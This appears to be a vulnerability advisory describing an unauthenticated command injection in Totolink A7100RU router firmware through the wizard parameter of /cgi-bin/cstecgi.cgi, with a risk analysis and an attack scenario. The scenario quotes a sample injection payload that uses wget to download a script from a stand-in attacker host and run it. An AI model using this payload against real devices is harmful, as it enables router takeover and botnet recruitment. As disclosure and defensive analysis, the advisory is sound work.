A7100Ru EUVD-2026-21808

Remote unauthenticated attacker can exploit Totolik A7100RU firmware version 7.4cu.2313_b20191024 by sending a crafted request to /cgi-bin/cstecgi.cgi with a malicious wizard parameter to execute arbitrary OS commands. No authentication, user interaction, or special configuration required.

This vulnerability presents significant real-world risk based on converging threat signals. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) indicates maximum accessibility: network-reachable without authentication, low attack complexity, and no user interaction required. The Exploit maturity indicator (E:P) confirms proof-of-concept code exists, with a GitHub repository providing detailed exploitation steps and working exploit code. While not currently listed in CISA KEV (no evidence of mass exploitation campaigns), the combination of unauthenticated remote access, command injection primitive, and public exploit code creates conditions for rapid weaponization. SSVC factors indicate high automatable potential (command injection can be scripted) and high technical impact (full system compromise). However, risk is somewhat contained by the limited install base of this specific Totolink router model and firmware version from 2019. Organizations using affected devices face immediate risk of botnet recruitment, credential harvesting from network traffic, DNS hijacking for phishing campaigns, and lateral movement pivots into internal networks. The vulnerability's severity is amplified by typical router deployment in trust boundaries without robust monitoring.

An attacker scans the internet for exposed Totolink A7100RU routers by fingerprinting HTTP responses from port 80/443 or searching Shodan for the device's distinctive web interface. Upon identifying a target running vulnerable firmware, the attacker crafts a malicious HTTP request to /cgi-bin/cstecgi.cgi invoking setWizardCfg with a poisoned wizard parameter containing shell metacharacters and command injection payload, such as '; wget http://attacker.com/bot.sh -O /tmp/m; chmod +x /tmp/m; /tmp/m #'. The router executes this injected command with system privileges, downloading and executing malware that establishes persistent backdoor access, joins the device to a DDoS botnet, or pivots into the victim's internal network to exfiltrate credentials and sensitive data.